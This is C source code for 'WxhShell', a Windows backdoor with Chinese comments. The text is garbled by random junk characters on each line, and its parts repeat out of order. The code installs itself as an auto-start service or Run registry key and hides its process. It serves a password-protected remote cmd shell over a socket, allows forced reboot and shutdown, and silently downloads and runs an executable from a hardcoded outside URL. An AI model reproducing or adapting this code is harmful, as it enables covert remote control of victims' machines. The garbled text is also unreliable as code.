    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ch# )XomN  
    if(Boot(SHUTDOWN)) 3MQHoxX  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); WUS%4LL(  
    else { _'p/8K5)=  
    closesocket(wsh); =CzGI|pb  
    ExitThread(0); :k9T`Aa]  
    } 9>{fsy  
    break; `;mgJD  
    } m%9Yo%l~  
  // 获取shell _DR@P(0>_  
  case 's': { ^"Bhp:o2  
    CmdShell(wsh); BOpZ8p'eH1  
    closesocket(wsh); :ok.[q  
    ExitThread(0);  II'.vp  
    break; fhi}x(  
  } ?0)K[Kd'Y  
  // 退出 4(8c L?J`0  
  case 'x': { UDHOcb  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); NXD-  
    CloseIt(wsh); y,?=,x}o#  
    break; >4g!ic~O  
    } \7\sx:!$  
  // 离开 c{^1`(#?  
  case 'q': { =t N}4  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); {?Slo5X|  
    closesocket(wsh); -axKnfj  
    WSACleanup(); CUDA<Fm  
    exit(1); q:_:E*o  
    break; E"}%$=yK  
        } \LUW?@gLa  
  } Q7amp:JFb  
  } i59 }6u_f  
-|x7<$Hw  
  // 提示信息 -.Wwo(4  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); drpx"d[c  
} =LGM[Z3$s  
  } F]RPM(!5O)  
tk0m[HN@eV  
  return; >QDyG8*  
} IFW(nB(  
r@JMf)a]  
// shell模块句柄 Zzlt^#KLx  
int CmdShell(SOCKET sock) =lv(  
{ *BxU5)O  
STARTUPINFO si; ; &rxwL  
ZeroMemory(&si,sizeof(si)); 9z?c0W5x  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; FM%WMyb[  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; UhR^Y{W5  
PROCESS_INFORMATION ProcessInfo; qKSR5 #  
char cmdline[]="cmd"; iK2f]h  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); WiH8j$;xu  
  return 0; y%|Ez  
} aP(~l_  
aGW O3Nk  
// 自身启动模式 0~<?*{~  
int StartFromService(void) h0-.9ym  
{ ;{8 X+H  
typedef struct XN-1`5:4I  
{ <e&v[  
  DWORD ExitStatus; M19O^P>[  
  DWORD PebBaseAddress; ys!O"=OJ  
  DWORD AffinityMask; Dh m ;K$T  
  DWORD BasePriority; 4~Q<LEly  
  ULONG UniqueProcessId; p7+>]sqX  
  ULONG InheritedFromUniqueProcessId; !pfpT\i]N:  
}   PROCESS_BASIC_INFORMATION; C!_=L?QT^  
krGIE}5  
PROCNTQSIP NtQueryInformationProcess; `?T::&`  
YS4"TOFw  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Q?hf2iw  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; %#fjtbeB  
ka=A:biz  
  HANDLE             hProcess; 1/bTwzR.g  
  PROCESS_BASIC_INFORMATION pbi; *s, bz.[  
nVlZ_72d  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 4]}d'x&  
  if(NULL == hInst ) return 0; yC@PMyE]  
H.hKh  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); "#36-  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 4iSN.nxIZ  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); {%6 '|<`[  
uih8ZmRt  
  if (!NtQueryInformationProcess) return 0; lhQMR(w^  
Nnn~7  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ,nog6\  
  if(!hProcess) return 0; ^69(V LK  
TN Z -0  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; -~sW@u)O  
f*V^HfiQb  
  CloseHandle(hProcess); p%Q{Rqc)  
e`B!)Sr  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); x`2dN/wDhf  
if(hProcess==NULL) return 0; 5T"h7^}e  
8bw, dBN  
HMODULE hMod; zn'Mi:O'p  
char procName[255]; '?90e4x3/  
unsigned long cbNeeded; y)fz\wk  
)(d~A?~  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); /=V!lRs  
\7UeV:3Ojn  
  CloseHandle(hProcess); q-1vtbn  
]}S9KP  
if(strstr(procName,"services")) return 1; // 以服务启动 "1dpv \  
)#Ecm<.^  
  return 0; // 注册表启动 K7$Q .  
} p]e.E`'S  
* W"Pv,:  
// 主模块 aA%x9\Y  
int StartWxhshell(LPSTR lpCmdLine) ?y%Mm09  
{ 8u*Q^-fpo0  
  SOCKET wsl; xt@v"P2Ok  
BOOL val=TRUE; (RUc>Qi  
  int port=0; F)l1%F Cm  
  struct sockaddr_in door; PTpfa*t  
"T8b.ng  
  if(wscfg.ws_autoins) Install(); daB 5E<?  
eMOp}.zt|  
port=atoi(lpCmdLine); ?t;,Nk`jx  
"SKv'*\b  
if(port<=0) port=wscfg.ws_port; !!6@r|.  
`^g-2~  
  WSADATA data; 0p,_?3nX  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; J,h'eY5  
5OTZa>H  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   %h_N%B$7c1  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); D1]?f`  
  door.sin_family = AF_INET; 8XfOM f~d`  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); svC m }`  
  door.sin_port = htons(port); EAs^i+/  
RR`\q>|  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { zYis~ +  
closesocket(wsl); D.F1^9Q  
return 1; 3ug>,1:6-  
} dphWxB  
g |]Hm*  
  if(listen(wsl,2) == INVALID_SOCKET) { pBVzmQF  
closesocket(wsl); `)i4ZmE|  
return 1; !}d_$U$  
} Ngrj@_J  
  Wxhshell(wsl); S>[&]  
  WSACleanup(); W Emh  
|>JRJ"CFE  
return 0; E0A[{UA   
-t*P=V|@  
} O/l/$pe  
h?QGJ^#8  
// 以NT服务方式启动 gE23C*!'&:  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) H'@@%nO (  
{ "NV~lJS%  
DWORD   status = 0; f1\mE~#}  
  DWORD   specificError = 0xfffffff; Mf9x=K9  
w!UIz[ajI  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 0b=00./o  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 9WL$3z'*  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; s_!F`[  
  serviceStatus.dwWin32ExitCode     = 0; Tn'o$J  
  serviceStatus.dwServiceSpecificExitCode = 0; o~x49%X<c  
  serviceStatus.dwCheckPoint       = 0; q ) e* eN  
  serviceStatus.dwWaitHint       = 0; ) Cm95,Y  
{ZUgyGE{  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 7%|HtBXv^  
  if (hServiceStatusHandle==0) return; X-yS9E  
fHF*#  
status = GetLastError(); u~'j?K.^  
  if (status!=NO_ERROR) O V^?cA  
{ JGlp7wro  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; . N5$s2t  
    serviceStatus.dwCheckPoint       = 0; A2nL=9~   
    serviceStatus.dwWaitHint       = 0; O2~Q(q'   
    serviceStatus.dwWin32ExitCode     = status; x,<|<W5<%  
    serviceStatus.dwServiceSpecificExitCode = specificError; Gbb*p+ (  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); wem hP8!gc  
    return; dsZ-|C  
  } KctbNMU]k  
2 o5u02x  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; z7JhS|  
  serviceStatus.dwCheckPoint       = 0; x c?=fv  
  serviceStatus.dwWaitHint       = 0; `! )^g/>0i  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); NE?tfj  
} fc^d3wH0L  
hIo ^/_K  
// 处理NT服务事件,比如:启动、停止 J)^Kls\> t  
VOID WINAPI NTServiceHandler(DWORD fdwControl) g0s *4E  
{ NV18~5#</  
switch(fdwControl) xf3/J{n3  
{ &A&2z l %#  
case SERVICE_CONTROL_STOP: gGbJk&E  
  serviceStatus.dwWin32ExitCode = 0; pq,8z= Uf  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; #@cEJV;5"  
  serviceStatus.dwCheckPoint   = 0; zE=^}K+  
  serviceStatus.dwWaitHint     = 0; h(FFG%H(  
  { Z"9D1Uk  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Oz5Ze/HBN  
  } i7O8f^|  
  return; Mir( }E  
case SERVICE_CONTROL_PAUSE: <OGXKv@  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; XNkZ^3mq  
  break; .#Lu/w' -M  
case SERVICE_CONTROL_CONTINUE: B|kIiL63 D  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; vn.j>;E'  
  break; 6P`!yBAu  
case SERVICE_CONTROL_INTERROGATE: 5eX+9niY  
  break; 7;ddzxR4  
}; u/HNXJ7M`9  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); tf{o=X.)  
} ;/(<yu48  
)VkH':yCM  
// 标准应用程序主函数 bx3kd+J7  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) o+T, O+i  
{ g-2(W   
x3=SMN|a  
// 获取操作系统版本 7HQ|3rt  
OsIsNt=GetOsVer(); 10..<v7  
GetModuleFileName(NULL,ExeFile,MAX_PATH); R5r CCp  
l7S&s&W @  
  // 从命令行安装 +{&++^(}a  
  if(strpbrk(lpCmdLine,"iI")) Install(); I*= =I4qx  
hODq& 9!  
  // 下载执行文件 F t;[>o  
if(wscfg.ws_downexe) { BA`K,#Ft7  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 2]_fNCNLN  
  WinExec(wscfg.ws_filenam,SW_HIDE); 6V @ [< d  
} d6g^>}-!t  
WTj,9  
if(!OsIsNt) { Si=u=FI1e  
// 如果时win9x,隐藏进程并且设置为注册表启动 i/q1>  
HideProc(); R?J=5tO  
StartWxhshell(lpCmdLine); `>\>'V<&  
} Kfs|KIQ>=  
else VuA)Ye  
  if(StartFromService()) f>ilk Q`  
  // 以服务方式启动 9Z.W R-}  
  StartServiceCtrlDispatcher(DispatchTable); {GQRJ8m  
else %g=SkQ&d  
  // 普通方式启动 F44KbUH  
  StartWxhshell(lpCmdLine); hdy N   
-e_L2<7  
return 0; E3 aj  
} m 3"|$0C~  
??? ;H  
Yi#U~ h  
M>|R&v  
=========================================== eW;0{P  
p7]V1w:  
sEEyN3 N  
 z-;{pPZ  
5VK.Zs\  
69EdMuf  
" )\fLS d  
P~OD d(  
#include <stdio.h> ,(Nr_K  
#include <string.h> qBcwM=R3P  
#include <windows.h> 0tp3mYd  
#include <winsock2.h> +jGSD@32>  
#include <winsvc.h> bv4G!21]*;  
#include <urlmon.h> >Ef{e6  
T8-,t];i  
#pragma comment (lib, "Ws2_32.lib") 4Y4QR[>IU3  
#pragma comment (lib, "urlmon.lib") {|/y/xYgy'  
K_ [B@( Xl  
#define MAX_USER   100 // 最大客户端连接数 {K>}eO:K  
#define BUF_SOCK   200 // sock buffer M%qHf{ B  
#define KEY_BUFF   255 // 输入 buffer <~-cp61z;  
=.8fES  
#define REBOOT     0   // 重启 v0'`K 5M  
#define SHUTDOWN   1   // 关机 "/qm,$  
I2<5#|CXpZ  
#define DEF_PORT   5000 // 监听端口 >sm<$'vZ/  
;TTH  
#define REG_LEN     16   // 注册表键长度 #^eXnhj9  
#define SVC_LEN     80   // NT服务名长度 2H2Yxe7?-  
B0"55g*c  
// 从dll定义API ad,pHJ`  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); >}6V=r3[+  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); KBy*QA  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); SH/^qDT'  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); YuKg|<WO  
=p 7eP  
// wxhshell配置信息 ,K~r':ht  
struct WSCFG { S_dM{.!Z(,  
  int ws_port;         // 监听端口 M5T4{^i  
  char ws_passstr[REG_LEN]; // 口令 Mib<1ZM  
  int ws_autoins;       // 安装标记, 1=yes 0=no {~+o+LV  
  char ws_regname[REG_LEN]; // 注册表键名 VJ()sbl{k  
  char ws_svcname[REG_LEN]; // 服务名 K%RjWX=H  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 NX9K%J  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 *_CzCl^   
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 xJ|_R,>.H  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 0`%Ask  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" We?cRb  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 g]E>e v{`  
CH+mzy  
}; GLE"[!s]f  
%e%VHHO|  
// default Wxhshell configuration Ue2%w/Yo  
struct WSCFG wscfg={DEF_PORT, n(?BZ'&!O  
    "xuhuanlingzhe", Gsa~zGN  
    1, ?5jq)xd2  
    "Wxhshell", !pAb+6~T  
    "Wxhshell", |.Vs(0O  
            "WxhShell Service", b,):&M~p  
    "Wrsky Windows CmdShell Service", IJ#+"(?7,u  
    "Please Input Your Password: ", Auk#pO#  
  1, UTR`jXCg  
  "http://www.wrsky.com/wxhshell.exe", M sQ>eSk  
  "Wxhshell.exe" 5VhJ*^R`y  
    }; c%vtg.A  
n,8bQP=&  
// 消息定义模块 XAw0Nn   
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; xmNs<mz  
char *msg_ws_prompt="\n\r? for help\n\r#>"; G"D=ozr  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; }`^D O Ar  
char *msg_ws_ext="\n\rExit."; X &s"}Hf  
char *msg_ws_end="\n\rQuit."; y';"tDFb  
char *msg_ws_boot="\n\rReboot..."; 9L9qLF5 t  
char *msg_ws_poff="\n\rShutdown..."; VL2+"<  
char *msg_ws_down="\n\rSave to "; W}aCU~  
;?.w!|6  
char *msg_ws_err="\n\rErr!"; 32x[6"T  
char *msg_ws_ok="\n\rOK!"; hG8<@  
lNba[;_  
char ExeFile[MAX_PATH]; bK#SxV  
int nUser = 0; GW\66$|  
HANDLE handles[MAX_USER]; J`xCd/G  
int OsIsNt; 35/K9l5  
`|WEzW~  
SERVICE_STATUS       serviceStatus; p`/c&}  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; }C!g x6  
:hFKmoy#  
// 函数声明 3:"w"0[K3  
int Install(void); ~Y3X*  
int Uninstall(void); i.Z iLDs\7  
int DownloadFile(char *sURL, SOCKET wsh); 20?@t.aMp  
int Boot(int flag); pi;'!d[l%  
void HideProc(void); =:;K nS  
int GetOsVer(void); 0I['UL^!F  
int Wxhshell(SOCKET wsl); X<mlaXwrA  
void TalkWithClient(void *cs); k<}3_   
int CmdShell(SOCKET sock); r<c&;*  
int StartFromService(void);  KGJ *h  
int StartWxhshell(LPSTR lpCmdLine); _:7:ixN[Ie  
kY^ k*-v  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );  *"Uf|  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); L6Io u  
$(+#$F<eo+  
// 数据结构和表定义 V[2}  
SERVICE_TABLE_ENTRY DispatchTable[] = 4=qZ Z>[t  
{ 4~ i?xo=;v  
{wscfg.ws_svcname, NTServiceMain}, 6<mlx'  
{NULL, NULL} E4, J"T|@  
}; M2pFXU?]  
Nk;ywC"e;  
// 自我安装 C2C 1 @=w  
int Install(void) 9 :,ZG4s  
{ 3*=_vl3  
  char svExeFile[MAX_PATH]; /I &wh  
  HKEY key; DPr~DO`b  
  strcpy(svExeFile,ExeFile); RmRPR<vGW  
$0XR<D  
// 如果是win9x系统,修改注册表设为自启动 wDDNB1_ E  
if(!OsIsNt) { NOFuX9/'w  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { apZPHau6h  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); }inV)QQ  
  RegCloseKey(key); C`qE ,2.  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ,Q<mU4  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ~'v9/I-"  
  RegCloseKey(key); 7j8lhrM}^  
  return 0; 53WCF[  
    } __Zex5Y#-  
  } mx5#K\  
} qP BOt;N  
else { )kDB*(?  
nrg$V>pD  
// 如果是NT以上系统,安装为系统服务 2p~}<B  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); OJiwI)a9  
if (schSCManager!=0) lokKjs  
{ b3Q k;yz  
  SC_HANDLE schService = CreateService K<q#2G0{  
  ( 6bN8}\5  
  schSCManager, !<>*|a  
  wscfg.ws_svcname, eZBC@y  
  wscfg.ws_svcdisp, \,ne7G21j  
  SERVICE_ALL_ACCESS,  0*E_D  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Q^bYx (r5w  
  SERVICE_AUTO_START, J`[gE`d  
  SERVICE_ERROR_NORMAL, 83J6 3Xa  
  svExeFile, 28qlp>U  
  NULL, {krBAz&  
  NULL, " v<O)1QT  
  NULL, 9oYE  
  NULL, 0D Lw  
  NULL ohjl*dw  
  ); 2Z>8ROv^X  
  if (schService!=0) Eq|5PE^7  
  { }N&? 8s=  
  CloseServiceHandle(schService); ?|~KF:,#}  
  CloseServiceHandle(schSCManager); lffw "  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); td7Of(k'  
  strcat(svExeFile,wscfg.ws_svcname); ?dPr HSy  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { .N7<bt@~)  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); [&g"Z"  
  RegCloseKey(key); ,0c]/Sd*p  
  return 0; pu5%$}dBE  
    } IhRdn1&  
  } zf>*\pZE  
  CloseServiceHandle(schSCManager); !yd ]~t 5Q  
} (D:-p:q.  
} 6j!idA!'  
udXzsY9Ng  
return 1; w{ ;Sp?Os  
} rp+]f\] h  
e+V8I&%  
// 自我卸载 {Fqwr>e  
int Uninstall(void) 5'(T*"  
{ y^z c @f  
  HKEY key; 1nw\?r2  
TF9A4  
if(!OsIsNt) { et"Pb_-U  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { bB>.dC  
  RegDeleteValue(key,wscfg.ws_regname); xS>vmnW  
  RegCloseKey(key); tW a'[2L  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { !nq`Py MR  
  RegDeleteValue(key,wscfg.ws_regname); #m17cDL  
  RegCloseKey(key); {Kf5a m  
  return 0; A{e>7Z72  
  } w3z'ZCcr;"  
} ':3[?d1Es  
} G<* Iw>ep  
else { C1+f\A|9FP  
.9N7`  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); #uF`|M$u  
if (schSCManager!=0) ~KRS0 ^  
{ KK6fRtKv>q  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); P*H0Hwn;  
  if (schService!=0) S}a]Bt  
  { :%Oz:YxC/  
  if(DeleteService(schService)!=0) { e"_kH_7sv  
  CloseServiceHandle(schService); JEaTDV_  
  CloseServiceHandle(schSCManager); d14n>  
  return 0; G$2@N6  
  } Oxa8ue?  
  CloseServiceHandle(schService); .cHkh^EDY  
  } %`QgG   
  CloseServiceHandle(schSCManager); Q6wa-Y,  
} 8d2\H*a9~  
} S~hu(x#  
6ypLE@Mk  
return 1; .rITzwgB  
} 1= 7ASS9  
UhrRB  
// 从指定url下载文件 m"'} {3$%  
int DownloadFile(char *sURL, SOCKET wsh) \A,zwdt P  
{ 8\^A;5  
  HRESULT hr; !^ad{# |X  
char seps[]= "/"; 7BL)FJ]UR]  
char *token; TQmrL  
char *file; M9afg$;.xe  
char myURL[MAX_PATH]; DIw_"$'At  
char myFILE[MAX_PATH]; -U\'Emu4  
r @m]#4  
strcpy(myURL,sURL); %B( rW?p&  
  token=strtok(myURL,seps); Uqb]&2  
  while(token!=NULL) Dk>6PBl  
  { ".%d{z}vz  
    file=token; d#]hqy  
  token=strtok(NULL,seps); :vX%0|  
  } Fi67"*gE  
7F6 B  
GetCurrentDirectory(MAX_PATH,myFILE); /`7+Gy<  
strcat(myFILE, "\\"); |35OA/O?X  
strcat(myFILE, file); s'oNW  
  send(wsh,myFILE,strlen(myFILE),0); tv.<pP9-C  
send(wsh,"...",3,0); NPS*0y/  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); #4b]j".P!n  
  if(hr==S_OK) TYb$+uY  
return 0; `CH,QT7e  
else bc4V&  
return 1; ]d-.Mw,'  
vsZ?cd  
} }{VOyPG  
Z.u 1Dz  
// 系统电源模块 jS~Pdz  
int Boot(int flag) -F[@)$L  
{ QF\nf_X  
  HANDLE hToken; Ei):\,Nv  
  TOKEN_PRIVILEGES tkp; FOk;=+  
@aZTx/  
  if(OsIsNt) { P!E2.K,  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); KMz!4N  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); V^&*y+  
    tkp.PrivilegeCount = 1; *; ]}`r  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; }ePl&-9T  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); *=2W:,$  
if(flag==REBOOT) { ~bx ev/$d  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 4|E^ #C  
  return 0; j7gw?,  
} xsn=Ji2 F  
else { )?UoF&c/  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Jp_#pV*}:  
  return 0; {\(MMTQ  
} @$T$hMl  
  } `vgaX,F*  
  else { 4minzrKM\  
if(flag==REBOOT) { 5N;'CAk  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Mh4MaLw  
  return 0; (X,i,qK/  
} xBA"w:<  
else { {V2"Pym?  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) *H/3xPh,*  
  return 0; y'`/^>.  
} ft6)n T/"&  
} xdm\[s  
robg1  
return 1; 0^gY4qx[u  
} T5."3i  
1.F&gP)9  
// win9x进程隐藏模块 e))L&s  
void HideProc(void) {9U!0h-2"  
{ BZ?Ck[E]Z  
|cf-S8pwY  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); TXmS$q   
  if ( hKernel != NULL ) 5b7(^T^K  
  { hOU H1m.  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 'UIFP#GtFO  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); o5tCbsHj-  
    FreeLibrary(hKernel); MhD'  
  } "mW'tm1+  
gCb+hQq\  
return; 2URGd#{VQ  
} M% \ T5  
DFK@/.V  
// 获取操作系统版本 G XVx/) H  
int GetOsVer(void) 05 q760I+  
{ BsIF3sS#9  
  OSVERSIONINFO winfo; j)mU`b_  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); }q.D)'g_  
  GetVersionEx(&winfo); 5]N0p,f  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 7@fS2mu  
  return 1; #5@(^N5p`  
  else q>.7VN[ vE  
  return 0; d#rr7O  
} nc k/Dw  
@%Ld\8vdfJ  
// 客户端句柄模块 \Y)HSJR;e  
int Wxhshell(SOCKET wsl) %Hbq3U30  
{ 112 WryS  
  SOCKET wsh; qjP~F  
  struct sockaddr_in client; n[iwi   
  DWORD myID; 6:#o0OeBP  
K=[7<b,:3  
  while(nUser<MAX_USER) (@+pz/  
{ t<p#u=jOa  
  int nSize=sizeof(client); m4hkV>$d  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); @kFZN6  
  if(wsh==INVALID_SOCKET) return 1; SKL4U5D{  
@|anu&Hm  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); x z8e1M  
if(handles[nUser]==0) ltNC ti{Q  
  closesocket(wsh); iWf+wC|  
else ;`78h?`  
  nUser++; 2!s PgIz  
  } 9&eY<'MgP  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); c`!e#w  
@.eN+o9|  
  return 0; @ep.wW  
} 4H-eFs%5  
Trv}YT.  
// 关闭 socket :W*yfhLt  
void CloseIt(SOCKET wsh) i< ^X z  
{ Y\]ZIvTSb  
closesocket(wsh); k4K. ml IO  
nUser--; [gmov)\c  
ExitThread(0); #KJ# 1  
} `MOw\Z)..  
@Z~YFnEJi  
// 客户端请求句柄 =OH X5:Z  
void TalkWithClient(void *cs) 5~[7|Y  
{ _ nMd  
9Y:I)^ek  
  SOCKET wsh=(SOCKET)cs; 3x+lf4"  
  char pwd[SVC_LEN]; ZbYC3_7w  
  char cmd[KEY_BUFF]; E)_n?>Ar  
char chr[1]; } {1IB  
int i,j; 6Rn?pe^  
k: Pn.<  
  while (nUser < MAX_USER) { P8z%*/ 3NF  
MbRTOH  
if(wscfg.ws_passstr) { 8_('[89m  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); u9hd%}9Qd?  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Ou_H&R  
  //ZeroMemory(pwd,KEY_BUFF); q5(t2nNb  
      i=0; M&V'*.xz  
  while(i<SVC_LEN) { c;VqEpsbl  
'Lrn<  
  // 设置超时 6m:$mhA5  
  fd_set FdRead; GmH DG-  
  struct timeval TimeOut; =0ZRG p  
  FD_ZERO(&FdRead); !?P8[K  
  FD_SET(wsh,&FdRead); xuK"pS  
  TimeOut.tv_sec=8; dR S:S_  
  TimeOut.tv_usec=0; |4df)  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); xb,d,(^]R  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); QHR,p/p  
d0:LJ'<Q  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); !O_G%+>5W  
  pwd=chr[0]; U]cXE1c>F  
  if(chr[0]==0xd || chr[0]==0xa) { $tmdE )"&  
  pwd=0; 7iP+!e}$.  
  break; o}rG:rhIh  
  } cRT'?w`}  
  i++; -5<[oBL;  
    } |R}=HsYey  
B6  0  
  // 如果是非法用户,关闭 socket e(0OZ_w  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Ehx9-*]  
} <fUo@]Lv  
S^rf^%  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); `8!9Fp  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); h=#w< @  
[YOH'i&X  
while(1) { Z`S# > o  
w2DC5ei'  
  ZeroMemory(cmd,KEY_BUFF); b#_RZ  
m/=nz.  
      // 自动支持客户端 telnet标准   A=N$5ZJ  
  j=0; +RooU?Aq  
  while(j<KEY_BUFF) { 7:jLZ!mgi  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 7f>=-sv  
  cmd[j]=chr[0]; C"I jr=w  
  if(chr[0]==0xa || chr[0]==0xd) { t(z]4y  
  cmd[j]=0; 2&1mI>:F  
  break; =D`8,n [  
  } Scrj%h%[  
  j++; xo[o^go  
    } E 2n z  
?o " Vkc:  
  // 下载文件 P<PZ4hNx  
  if(strstr(cmd,"http://")) { sA2-3V<t8  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); (4YLUN&1O$  
  if(DownloadFile(cmd,wsh)) |+nmOi,z  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); NM3;l}Y8  
  else nTy]sPn  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); \,#$,dUXD  
  } S/]\GG{  
  else { )~U1sW&t  
